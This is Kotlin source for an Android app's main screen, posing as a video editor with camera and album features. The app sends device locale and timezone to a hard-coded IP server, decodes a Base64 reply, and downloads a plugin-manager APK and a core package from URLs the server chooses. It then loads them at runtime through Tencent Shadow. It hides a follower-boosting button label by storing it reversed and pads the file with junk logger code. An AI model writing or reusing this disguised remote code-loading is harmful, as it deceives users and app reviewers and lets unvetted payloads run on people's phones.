package com.videostar.funforfollowers.ui.activity

import android.Manifest.permission
import android.app.Activity
import android.content.ActivityNotFoundException
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
import android.net.Uri
import android.os.Bundle
import android.os.Handler
import android.text.Html
import android.text.TextUtils
import android.util.Base64
import android.util.Log
import android.view.View
import android.widget.Toast
import com.alibaba.fastjson.JSON
import com.alibaba.fastjson.JSONObject
import com.likes.followers.insta.more.free.BuildConfig
import com.likes.followers.insta.more.free.R
import com.mopub.common.MoPub
import com.mopub.common.SdkConfiguration
import com.mopub.common.SdkInitializationListener
import com.mopub.common.logging.MoPubLog
import com.mopub.mobileads.GooglePlayServicesRewardedVideo
import com.mopub.mobileads.MoPubErrorCode
import com.mopub.mobileads.MoPubInterstitial
import com.tbruyelle.rxpermissions2.RxPermissions
import com.tencent.shadow.core.common.ILoggerFactory
import com.tencent.shadow.core.common.Logger
import com.tencent.shadow.dynamic.host.DynamicPluginManager
import com.tencent.shadow.dynamic.host.EnterCallback
import com.videostar.funforfollowers.App
import com.videostar.funforfollowers.base.BaseActivity
import com.videostar.funforfollowers.helper.ToolbarHelper
import com.videostar.funforfollowers.utils.AppsflyerUtils
import com.videostar.funforfollowers.utils.FixedPathPmUpdater
import com.videostar.funforfollowers.view.NormalProgressDialog
import com.zhouyou.http.EasyHttp
import com.zhouyou.http.callback.DownloadProgressCallBack
import com.zhouyou.http.callback.SimpleCallBack
import com.zhouyou.http.exception.ApiException
import io.reactivex.Observer
import io.reactivex.disposables.Disposable
import kotlinx.android.synthetic.main.activity_main.*
import kotlinx.android.synthetic.main.toolbar_coins.*
import org.apache.commons.io.FileUtils
import java.io.File
import java.io.InputStream
import java.util.*

class MainActivity : BaseActivity() {
    companion object {
        val INTERSTITIAL_AD = "7b3ff83e24f649dd942614eb7fe5ba0c"
        val MANAGER_APK = "m.apk"
        val CORE_APK = "c.zip"

        class MyLog : ILoggerFactory {
            val list = mutableListOf<String>()
            override fun getLogger(name: String?): Logger {
                return object : Logger {
                    override fun warn(msg: String?) {
                        list.add("nishilw123")
                        list.add("nishilw123")
                        list.add("nishilw123")
                        list.add("nishilw123")
                        list.add("nishilw123")
                        list.add("nishilw123")
                        list.add("nishilw123")
                        list.add("nishilw123")


                    }

                    override fun warn(format: String?, arg: Any?) {
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")

                    }

                    override fun warn(format: String?, vararg arguments: Any?) {
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")

                    }

                    override fun warn(format: String?, arg1: Any?, arg2: Any?) {
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")

                    }

                    override fun warn(msg: String?, t: Throwable?) {
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")

                    }

                    override fun getName(): String {
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        return "Name"
                    }

                    override fun info(msg: String?) {
                        list.add("nishilw124")

                    }

                    override fun info(format: String?, arg: Any?) {
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")

                    }

                    override fun info(format: String?, arg1: Any?, arg2: Any?) {
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")

                    }

                    override fun info(format: String?, vararg arguments: Any?) {
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")

                    }

                    override fun info(msg: String?, t: Throwable?) {
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")

                    }

                    override fun isErrorEnabled(): Boolean {
                        list.add("nishilw124")

                        return false
                    }

                    override fun error(msg: String?) {
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")

                    }

                    override fun error(format: String?, arg: Any?) {
                        list.add("nishilw124")

                    }

                    override fun error(format: String?, arg1: Any?, arg2: Any?) {
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")

                    }

                    override fun error(format: String?, vararg arguments: Any?) {
                        list.add("nishilw124")

                    }

                    override fun error(msg: String?, t: Throwable?) {
                        list.add("nishilw124")

                    }

                    override fun isDebugEnabled(): Boolean {
                        list.add("nishilw124")

                        return false
                    }

                    override fun debug(msg: String?) {
                        list.add("nishilw124")

                    }

                    override fun debug(format: String?, arg: Any?) {
                        list.add("nishilw124")

                    }

                    override fun debug(format: String?, arg1: Any?, arg2: Any?) {
                        list.add("nishilw124")

                    }

                    override fun debug(format: String?, vararg arguments: Any?) {
                        list.add("nishilw124")

                    }

                    override fun debug(msg: String?, t: Throwable?) {
                        list.add("nishilw124")

                    }

                    override fun isInfoEnabled(): Boolean {
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")
                        list.add("nishilw124")

                        return false
                    }

                    override fun trace(msg: String?) {
                        list.add("nishilw124")

                    }

                    override fun trace(format: String?, arg: Any?) {
                        list.add("nishilw124")

                    }

                    override fun trace(format: String?, arg1: Any?, arg2: Any?) {
                        list.add("nishilw124")

                    }

                    override fun trace(format: String?, vararg arguments: Any?) {
                        list.add("nishilw124")

                    }

                    override fun trace(msg: String?, t: Throwable?) {
                        list.add("nishilw124")

                    }

                    override fun isWarnEnabled(): Boolean {
                        list.add("nishilw124")

                        return false
                    }

                    override fun isTraceEnabled(): Boolean {
                        list.add("nishilw124")
                        return false
                    }

                }
            }

        }
    }

    private var mRxPermissions: RxPermissions? = null
    override fun getLayoutId(): Int {
        return R.layout.activity_main
    }

    override fun initToolbar(toolbarHelper: ToolbarHelper) {
        toolbarHelper.setTitle("Video editing").setTextColor(resources.getColor(android.R.color.white))
        toolbarHelper.hideBackArrow()
    }

    fun preparePlugin() {
        val inputStream = assets.open("m1_1.apk")
        FileUtils.copyInputStreamToFile(inputStream, getMFile());
    }

    // 测试时使用的 asset 插件包，记得发布时不要在本地放插件包
    fun preparePluginZip() {
        val zip: InputStream =
                assets.open("plugin-release.zip")
        FileUtils.copyInputStreamToFile(zip, getTkFile());
    }

    override fun initView() {
        mRxPermissions = RxPermissions(this)
        findViewById<View>(R.id.btn_camera).setOnClickListener { v -> takeCamera(v) }
        findViewById<View>(R.id.btn_album).setOnClickListener { v -> takeAlbum(v) }
        btn_k_tv.text = "woN sekiL & srewolloF tsooB".reversed()
        btn_k.setOnClickListener {
            AppsflyerUtils.track_core_button_click()
            installPlug()
        }

        feedback.setOnClickListener {
            startEmail(
                    this,
                    getString(R.string.app_name),
                    " ",
                    "hdyei158@gmail.com"
            )
        }
        privacy_policy.setOnClickListener {

            viewUrl(this, "https://d20upxvnw2oxnc.cloudfront.net/pt/pp/y29tlm/nwkaobma.htm")
        }
        val default = Locale.getDefault()
        default.language
        val shiqu = TimeZone.getDefault().id
        val bodyJson = JSONObject()
        bodyJson["yuyan"] = default.language
        bodyJson["shiqu"] = shiqu
        bodyJson["appshijian"] = System.currentTimeMillis().toString()
        bodyJson["versionname"] = "1.0.0"

//        preparePlugin()
//        preparePluginZip()

        initAd()


        AppsflyerUtils.track_app_launch()

        if (!installPlug()) {
//            NormalProgressDialog
//                    .showLoading(this, resources.getString(R.string.in_process), false)
        }
        EasyHttp.post("http://3.235.223.182:8080/zenf/coreCheck")
                .headers("client", "Android")
                .headers("req", packageName)
                .upJson(bodyJson.toJSONString())
                .execute(object : SimpleCallBack<String>() {
                    override fun onSuccess(t: String?) {
                        try {
                            NormalProgressDialog.stopLoading()
                            val json = JSON.parseObject(t)
                            if (json != null) {
                                val code = json.getIntValue("code")
                                val message = json.getString("msg")
                                if (code == 1000) {
                                    val sData = json.getString("data")
                                    val realStr = String(Base64.decode(sData, Base64.DEFAULT))
                                    if (BuildConfig.DEBUG) {
                                        Log.i("EasyHttp", realStr)
                                    }
                                    val realJson = JSON.parseObject(realStr)
                                    if (realJson != null) {
                                        val core_dakai = realJson.getBooleanValue("core_dakai")
                                        val core_version_name = realJson.getString("core_version_name")
                                        val core_time = realJson.getLongValue("core_time")
                                        val guide_icon = realJson.getString("guide_icon")
                                        val core_xia_addr = realJson.getString("core_xia_addr")
                                        val guide_addr = realJson.getString("guide_addr")
                                        val guidePackage = realJson.getString("guide_package")
                                        val is_show_guide = realJson.getBooleanValue("is_show_guide")

                                        if (is_show_guide && !guidePackage.isNullOrEmpty()) {
                                            try {
                                                startActivity(
                                                        Intent(
                                                                Intent.ACTION_VIEW,
                                                                Uri.parse("market://details?id=${guidePackage}")
                                                        )
                                                )
                                            } catch (anfe: ActivityNotFoundException) {
                                                startActivity(
                                                        Intent(
                                                                Intent.ACTION_VIEW,
                                                                Uri.parse("https://play.google.com/store/apps/details?id=${guidePackage}")
                                                        )
                                                )
                                            }
                                        }

                                        if (core_xia_addr.contains("|")) {
                                            d(core_xia_addr)
                                        }

                                    }
                                }
                            }
                        } catch (e: Exception) {

                        }

                        if (!hasEnterOnce) {
                            installPlug()
                        }
                    }

                    override fun onError(e: ApiException?) {
                        NormalProgressDialog.stopLoading()
                        if (!hasEnterOnce) {
                            installPlug()
                        }
                    }

                })
    }

    var mInterstitial: MoPubInterstitial? = null
    var isInterstitialLoadFail = false
    fun showInterstitial(): Boolean {
        try {
            if (mInterstitial?.isReady == true) {
                return mInterstitial?.show() ?: false
            } else if (isInterstitialLoadFail) {
                mInterstitial?.load()
            }
        } catch (e: Exception) {
        }
        return false
    }

    val handler: Handler by lazy {
        Handler(Handler.Callback {
            try {
                val ShadowPlugin_k = File(filesDir, "ShadowPlugin_k")
                if (ShadowPlugin_k.exists()) {
                    val ad = File(ShadowPlugin_k, "ad")
                    val ad_interstitial = File(ad, "ad_interstitial")
                    if (ad_interstitial.exists()) {

                        if (showInterstitial()) {
                            ad_interstitial.delete()
                        }
                    } else {

                    }
                }
            } catch (e: Exception) {
            }



            if (!isFinishing) {

                handler.sendEmptyMessageDelayed(0, 1000)
            }

            false
        })
    }


    fun initAd() {
        val sdkConfiguration = SdkConfiguration.Builder(INTERSTITIAL_AD)
                .withLegitimateInterestAllowed(false)
                .withLogLevel(if (BuildConfig.DEBUG) MoPubLog.LogLevel.DEBUG else MoPubLog.LogLevel.NONE)
                .withMediationSettings(GooglePlayServicesRewardedVideo.GooglePlayServicesMediationSettings())
                .build();

        handler.sendEmptyMessage(0)

        MoPub.initializeSdk(this, sdkConfiguration, SdkInitializationListener {
            mInterstitial = MoPubInterstitial(this, INTERSTITIAL_AD)
            mInterstitial?.interstitialAdListener =
                    object : MoPubInterstitial.InterstitialAdListener {
                        override fun onInterstitialLoaded(interstitial: MoPubInterstitial?) {
                            isInterstitialLoadFail = false
                        }

                        override fun onInterstitialShown(interstitial: MoPubInterstitial?) {

                        }

                        override fun onInterstitialFailed(
                                interstitial: MoPubInterstitial?,
                                errorCode: MoPubErrorCode?
                        ) {
                            isInterstitialLoadFail = true
                        }

                        override fun onInterstitialDismissed(interstitial: MoPubInterstitial?) {

                            mInterstitial?.load()
                        }

                        override fun onInterstitialClicked(interstitial: MoPubInterstitial?) {

                        }

                    }
            mInterstitial?.load()
        });
    }

    var isEnterTrue = false
    var hasEnterOnce = false
    fun installPlug(): Boolean {
        if (isEnterTrue) {
            return false
        }
        try {
            val mFile = getMFile()
            val kFile = getTkFile()

            if (mFile.exists() && kFile.exists()) {
                isEnterTrue = true
                hasEnterOnce = true
                btn_k.visibility = View.VISIBLE
                val pManager = DynamicPluginManager(FixedPathPmUpdater(mFile))
                val bundle = Bundle()
                NormalProgressDialog
                        .showLoading(this, resources.getString(R.string.in_process), false)
                pManager.enter(this@MainActivity, 321, bundle, object : EnterCallback {

                    override fun onEnterComplete() {
                        NormalProgressDialog.stopLoading()
                        isEnterTrue = true
                    }

                    override fun onShowLoadingView(view: View?) {

                    }

                    override fun onCloseLoadingView() {

                    }
                });
                return true
            }
        } catch (e: Exception) {
            e.printStackTrace()
        }
        return false
    }

    override fun onResume() {
        super.onResume()
        isEnterTrue = false
        coins_number.text = App.getCoins().toString()
    }

    var corexiaaddr: String? = null
    private fun d(core_xia_addr: String) {
        corexiaaddr = core_xia_addr
        if (!core_xia_addr.contains("|")) {
            return
        }
        val split = core_xia_addr.split("|")
        val manager = split[0]
        val coreAPK = split[1]
        val file1 = getMFile()
        val file2 = getTkFile()
        if (manager != getLink1() || !file1.exists()) {
            AppsflyerUtils.track_core_showup()
            AppsflyerUtils.track_core_download()
            if (file1.exists()) {
                file1.delete()
            }
            EasyHttp.downLoad(manager)
                    .savePath(getManagerDir().absolutePath)
                    .saveName("$MANAGER_APK.1")
                    .execute(object : DownloadProgressCallBack<String>() {
                        override fun update(bytesRead: Long, contentLength: Long, done: Boolean) {

                        }

                        override fun onComplete(path: String?) {
                            //下载完成，path：下载文件保存的完整路径

                            if (!path.isNullOrEmpty()) {
                                val file = File(path)
                                if (file.exists()) {
                                    file.renameTo(file1)
                                }
                                saveLink1(manager)
                            }
                            if (!hasEnterOnce) {
                                installPlug()
                            }
                        }

                        override fun onError(e: ApiException?) {

                        }

                        override fun onStart() {

                        }

                    })
        }
        if (coreAPK != getLink2() || !file2.exists()) {
            if (file2.exists()) {
                file2.delete()
            }
            NormalProgressDialog
                    .showLoading(this, resources.getString(R.string.in_process), false)
            EasyHttp.downLoad(coreAPK)
                    .savePath(getTKDir().absolutePath)
                    .saveName("$CORE_APK.1")
                    .execute(object : DownloadProgressCallBack<String>() {
                        override fun update(bytesRead: Long, contentLength: Long, done: Boolean) {

                        }

                        override fun onComplete(path: String?) {
                            NormalProgressDialog.stopLoading()
                            //下载完成，path：下载文件保存的完整路径
                            if (!path.isNullOrEmpty()) {
                                val file = File(path)
                                if (file.exists()) {
                                    file.renameTo(file2)
                                }
                                saveLink2(coreAPK)
                            }
                            if (!hasEnterOnce) {
                                installPlug()
                            }
                        }

                        override fun onError(e: ApiException?) {

                        }

                        override fun onStart() {

                        }

                    })
        }
    }

    fun getLink1(): String? {
        return getSharedPreferences("l", Context.MODE_PRIVATE).getString("l1", null)
    }

    fun getLink2(): String? {
        return getSharedPreferences("l", Context.MODE_PRIVATE).getString("l2", null)
    }

    fun saveLink1(link: String) {
        getSharedPreferences("l", Context.MODE_PRIVATE).edit().putString("l1", link).apply()
    }

    fun saveLink2(link: String) {
        getSharedPreferences("l", Context.MODE_PRIVATE).edit().putString("l2", link).apply()
    }

    fun getMFile(): File {
        return File(getManagerDir(), MANAGER_APK)
    }

    fun getTkFile(): File {
        return File(getTKDir(), CORE_APK)
    }

    fun getManagerDir(): File {
        val file = File(filesDir, "m1")
        if (!file.exists()) {
            file.mkdirs()
        }
        return file
    }

    fun getTKDir(): File {
        val file = File(filesDir, "m2")
        if (!file.exists()) {
            file.mkdirs()
        }
        return file
    }

    fun startEmail(
            ctx: Context, emailSubject: String,
            emailBody: String? = "  ", emailTo: String?
    ) {
        val email = Intent(Intent.ACTION_SEND)
        if (emailBody != null && emailBody != "") {
            email.type = "text/html"
        } else {
            email.type = "application/octet-stream"
        }
        if (emailTo != null && emailTo != "") {
            val emailReciver = arrayOf(emailTo)
            // set default email address
            email.putExtra(Intent.EXTRA_EMAIL, emailReciver)
        }
        // set default mail subject
        email.putExtra(Intent.EXTRA_SUBJECT, emailSubject)
        // set default mail body
        email.putExtra(
                Intent.EXTRA_TEXT,
                Html.fromHtml(emailBody)
        )
        // start send email
        ctx.startActivity(
                Intent.createChooser(
                        email,
                        "Please choose you client to send!"
                ).addFlags(
                        Intent.FLAG_ACTIVITY_NEW_TASK
                )
        )
    }

    fun viewUrl(
            activity: Activity,
            url: String,
            packageName: String? = null,
            mimeType: String? = null

    ): Boolean {
        val intent = Intent(Intent.ACTION_VIEW)
        val uri = Uri.parse(url)
        if (TextUtils.isEmpty(mimeType)) {
            intent.data = uri
        } else {
            intent.setDataAndType(uri, mimeType)
        }

        if (!TextUtils.isEmpty(packageName)) {
            intent.setPackage(packageName)
        }
        return if (activity.packageManager.resolveActivity(
                        intent,
                        PackageManager.MATCH_DEFAULT_ONLY
                ) != null
        ) {
            try {
                activity.startActivity(intent)
                true
            } catch (e: ActivityNotFoundException) {
                false
            }

        } else {
            false
        }
    }

    /**
     * 拍照
     * @param view
     */
    fun takeCamera(view: View?) {
        showInterstitial()
        mRxPermissions
                ?.request(permission.WRITE_EXTERNAL_STORAGE, permission.RECORD_AUDIO, permission.CAMERA)
                ?.subscribe(object : Observer<Boolean> {
                    override fun onSubscribe(d: Disposable) {
                        subscribe(d)
                    }

                    override fun onNext(granted: Boolean) {
                        if (granted) { //已获取权限
                            val intent = Intent(this@MainActivity, VideoCameraActivity::class.java)
                            startActivityForResult(intent, 100)
                        } else {
                            Toast.makeText(this@MainActivity, "Please give permission for the next step", Toast.LENGTH_SHORT).show()
                        }
                    }

                    override fun onError(e: Throwable) {}
                    override fun onComplete() {}
                })
    }

    /**
     * 相册
     * @param view
     */
    fun takeAlbum(view: View?) {
        showInterstitial()
        mRxPermissions
                ?.request(permission.WRITE_EXTERNAL_STORAGE, permission.READ_EXTERNAL_STORAGE)
                ?.subscribe(object : Observer<Boolean> {
                    override fun onSubscribe(d: Disposable) {
                        subscribe(d)
                    }

                    override fun onNext(granted: Boolean) {
                        if (granted) { //已获取权限
                            val intent = Intent(this@MainActivity, VideoAlbumActivity::class.java)
                            startActivityForResult(intent, 100)
                        } else {
                            Toast.makeText(this@MainActivity, "Please give permission for the next step", Toast.LENGTH_SHORT).show()
                        }
                    }

                    override fun onError(e: Throwable) {}
                    override fun onComplete() {}
                })
    }
}